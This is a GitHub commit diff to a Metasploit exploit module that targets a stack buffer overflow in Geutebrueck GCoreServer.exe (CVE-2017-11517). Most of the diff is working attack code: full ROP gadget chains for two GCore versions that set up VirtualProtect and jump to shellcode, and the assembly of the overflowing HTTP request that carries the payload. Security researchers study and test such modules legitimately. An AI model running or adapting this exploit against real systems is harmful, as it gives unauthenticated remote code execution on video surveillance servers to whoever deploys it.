Skip to content

Commit 8963d77

Browse files
author
Maurice Popp
committed
multiple changes as requested by h00die
1 parent df14dc4 commit 8963d77

File tree

1 file changed

+58
-60
lines changed

1 file changed

+58
-60
lines changed

modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb

Lines changed: 58 additions & 60 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,9 @@ class MetasploitModule < Msf::Exploit::Remote
1414
def initialize(info = {})
1515
super(update_info(info,
1616
'Name' => 'Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE',
17-
'Description' => 'This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe). The vulnerable webserver is running on Port 13003 and Port 13004, does not require authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).',
17+
'Description' => %q{
18+
This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe). The vulnerable webserver is running on Port 13003 and Port 13004, does not require authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).
19+
},
1820
'License' => MSF_LICENSE,
1921
'Author' =>
2022
[
@@ -24,14 +26,15 @@ def initialize(info = {})
2426
'References' =>
2527
[
2628
['EDB','41153'],
29+
['CVE', '2017-11517'],
2730
['URL','www.geutebrueck.com']
2831
],
2932
'Platform' => 'win',
3033
'Targets' =>
3134
[
3235
['Automatic Targeting', { 'auto' => true, 'Arch' => ARCH_X64 }],
33-
['GCore 1.3.8.42, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X64}],
34-
['GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X64}]
36+
['GCore 1.3.8.42, Windows x64 (Win7+)', { 'Arch' => ARCH_X64}],
37+
['GCore 1.4.2.37, Windows x64 (Win7+)', { 'Arch' => ARCH_X64}]
3538
],
3639
'Payload' =>
3740
{
@@ -42,9 +45,8 @@ def initialize(info = {})
4245
'DefaultTarget' => 0))
4346

4447
register_options(
45-
[
46-
Opt::RPORT(13003)
47-
])
48+
[Opt::RPORT(13003)]
49+
)
4850
end
4951

5052
def fingerprint
@@ -74,75 +76,75 @@ def check
7476
end
7577

7678
def ropchain(target)
79+
# These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
80+
stack_align = "\x43" * 16
81+
7782
if target.name.include? '1.3.8.42'
7883
print_status('Preparing ROP chain for target 1.3.8.42!')
7984

8085
# 0x140cd00a9 | add rsp, 0x10 ; ret
8186
# This is needed because the next 16 bytes are sometimes messed up.
8287
overwrite = [0x140cd00a9].pack('Q<')
8388

84-
# These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
85-
stack_align = "\x43" * 16
86-
8789
# We have 40 bytes left to align our stack!
8890
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
8991
# and to restore it.
9092
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
9193

9294
# 0x1404e5cbf: mov edx, esp ; ret
93-
stack_align += [0x1404e5cbf].pack('Q<')
95+
stack_align << [0x1404e5cbf].pack('Q<')
9496

9597
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
9698
# We pop -XXXXX as \xxxxxxxxx to rax
9799
# 0x14013db94 pop rax ; ret
98-
stack_align += [0x14013db94].pack('Q<')
99-
stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
100+
stack_align << [0x14013db94].pack('Q<')
101+
stack_align << [0xFFFFFFFFFFFFF061].pack('Q<')
100102

101103
# Our value is enough.
102104
# 0x1407dc547 | add rax,rdx ; ret
103-
stack_align += [0x1407dc547].pack('Q<')
105+
stack_align << [0x1407dc547].pack('Q<')
104106

105107
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
106108
# 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
107-
stack_align += [0x140ce9ac0].pack('Q<')
109+
stack_align << [0x140ce9ac0].pack('Q<')
108110

109111
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
110112
# We want RCX to hold the value for VP Argument "Address of Shellcode"
111113
# 0x140cc2234 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
112114
rop = ''
113-
rop += [0x140cc2234].pack('Q<')
114-
rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
115+
rop << [0x140cc2234].pack('Q<')
116+
rop << [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
115117
# 0x1400ae2ae | POP RDX; RETN
116118
# 0x...1000 | Value for VP "Size of Memory"
117-
rop += [0x1400ae2ae].pack('Q<')
118-
rop += [0x0000000000000400].pack('Q<')
119+
rop << [0x1400ae2ae].pack('Q<')
120+
rop << [0x0000000000000400].pack('Q<')
119121

120122
# 0x14029dc6e: | POP R8; RET
121123
# 0x...40 | Value for VP "Execute Permissions"
122-
rop += [0x14029dc6e].pack('Q<')
123-
rop += [0x0000000000000040].pack('Q<')
124+
rop << [0x14029dc6e].pack('Q<')
125+
rop << [0x0000000000000040].pack('Q<')
124126

125127
# 0x1400aa030 | POP R9; RET
126128
# 0x1409AE1A8 is the .data section of gcore
127-
rop += [0x1400aa030].pack('Q<')
128-
rop += [0x1409AE1A8].pack('Q<')
129+
rop << [0x1400aa030].pack('Q<')
130+
rop << [0x1409AE1A8].pack('Q<')
129131

130132
# 0x140b5927a: xor rax, rax ; ret
131-
rop += [0x140b5927a].pack('Q<')
133+
rop << [0x140b5927a].pack('Q<')
132134

133135
# 0x1402ce220 pop rax ; ret
134136
# 0x140d752b8 | VP Stub IAT Entry
135-
rop += [0x1402ce220].pack('Q<')
136-
rop += [0x140d752b8].pack('Q<')
137+
rop << [0x1402ce220].pack('Q<')
138+
rop << [0x140d752b8].pack('Q<')
137139

138140
# 0x1407c6b3b mov rax, qword [rax] ; ret ;
139-
rop += [0x1407c6b3b].pack('Q<')
141+
rop << [0x1407c6b3b].pack('Q<')
140142

141143
# 0x140989c41 push rax; ret
142-
rop += [0x140989c41].pack('Q<')
144+
rop << [0x140989c41].pack('Q<')
143145

144146
# 0x1406d684d jmp rsp
145-
rop += [0x1406d684d].pack('Q<')
147+
rop << [0x1406d684d].pack('Q<')
146148

147149
[rop, overwrite, stack_align]
148150

@@ -153,69 +155,66 @@ def ropchain(target)
153155
# This is needed because the next 16 bytes are sometimes messed up.
154156
overwrite = [0x140cd9759].pack('Q<')
155157

156-
# These bytes "\x43" are sacrificed ; we align the stack to jump over this.
157-
stack_align = "\x43" * 16
158-
159158
# We have 40 bytes left to align our stack!
160159
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
161160
# and to restore it.
162161
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
163162

164163
# 0x1404f213f: mov edx, esp ; ret
165-
stack_align += [0x1404f213f].pack('Q<')
164+
stack_align << [0x1404f213f].pack('Q<')
166165

167166
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
168167
# We pop -XXXXX as \xxxxxxxxx to rax
169168
# 0x14000efa8 pop rax ; ret
170-
stack_align += [0x14000efa8].pack('Q<')
171-
stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
169+
stack_align << [0x14000efa8].pack('Q<')
170+
stack_align << [0xFFFFFFFFFFFFF061].pack('Q<')
172171

173172
# Our value is enough.
174173
# 0x140cdfe65 | add rax,rdx ; ret
175-
stack_align += [0x140cdfe65].pack('Q<')
174+
stack_align << [0x140cdfe65].pack('Q<')
176175

177176
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
178177
# 0x140cf3110 | mov rsp, rax ; ..... ; ret
179-
stack_align += [0x140cf3110].pack('Q<')
178+
stack_align << [0x140cf3110].pack('Q<')
180179

181180
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
182181
# We want RCX to hold the value for VP Argument "Address of Shellcode"
183182
# 0x140ccb984 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
184183
rop = ''
185-
rop += [0x140ccb984].pack('Q<')
186-
rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
184+
rop << [0x140ccb984].pack('Q<')
185+
rop << [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
187186
# 0x14008f7ec | POP RDX; RETN
188187
# 0x...1000 | Value for VP "Size of Memory"
189-
rop += [0x14008f7ec].pack('Q<')
190-
rop += [0x0000000000000400].pack('Q<')
188+
rop << [0x14008f7ec].pack('Q<')
189+
rop << [0x0000000000000400].pack('Q<')
191190

192191
# 0x140a88f81: | POP R8; RET
193192
# 0x...40 | Value for VP "Execute Permissions"
194-
rop += [0x140a88f81].pack('Q<')
195-
rop += [0x0000000000000040].pack('Q<')
193+
rop << [0x140a88f81].pack('Q<')
194+
rop << [0x0000000000000040].pack('Q<')
196195

197196
# 0x1400aa030 | POP R9; RET
198197
# 0x... | Value for VP "Writeable location". Not sure if needed?
199198
# 0x140FB5000 is the .data section of gcore; let's test with this writable section...
200-
rop += [0x1400aa030].pack('Q<')
201-
rop += [0x140FB5000].pack('Q<')
199+
rop << [0x1400aa030].pack('Q<')
200+
rop << [0x140FB5000].pack('Q<')
202201

203202
# 0x140ccea2f: xor rax, rax ; et
204-
rop += [0x140ccea2f].pack('Q<')
203+
rop << [0x140ccea2f].pack('Q<')
205204

206205
# 0x14000efa8 pop rax ; ret
207206
# 0x140d83268 | VP Stub IAT Entry
208-
rop += [0x14000efa8].pack('Q<')
209-
rop += [0x140d83268].pack('Q<')
207+
rop << [0x14000efa8].pack('Q<')
208+
rop << [0x140d83268].pack('Q<')
210209

211210
# 0x14095b254 mov rax, qword [rax] ; ret ;
212-
rop += [0x14095b254].pack('Q<')
211+
rop << [0x14095b254].pack('Q<')
213212

214213
# 0x140166c46 push rax; ret
215-
rop += [0x140166c46].pack('Q<')
214+
rop << [0x140166c46].pack('Q<')
216215

217216
# 0x140cfb98d jmp rsp
218-
rop += [0x140cfb98d].pack('Q<')
217+
rop << [0x140cfb98d].pack('Q<')
219218

220219
[rop, overwrite, stack_align]
221220

@@ -239,21 +238,20 @@ def exploit
239238
begin
240239
connect
241240
print_status('Crafting Exploit...')
242-
http_req = 'GET /'
243-
buffer_200 = "\x41" * 200
244-
rop = target_rop
245-
payload.encoded
246-
buffer_1823 = "\x41" * 1823
247-
overwrite = target_overwrite
248-
stack_align = target_stack_align
249-
250-
exploit = http_req + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
241+
exploit = 'GET /'
242+
exploit << "\x41" * 200
243+
exploit << target_rop
244+
exploit << payload.encoded
245+
exploit << "\x41" * 1823
246+
exploit << target_overwrite
247+
exploit << target_stack_align
248+
251249
print_status('Exploit ready for sending...')
252250
sock.put(exploit, 'Timeout' => 20)
253251
print_status('Exploit sent!')
254252
buf = sock.get_once || ''
255253
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
256-
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
254+
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}\n#{e.fail_with}")
257255
ensure
258256
print_status('Closing socket.')
259257
disconnect

0 commit comments

Comments
 (0)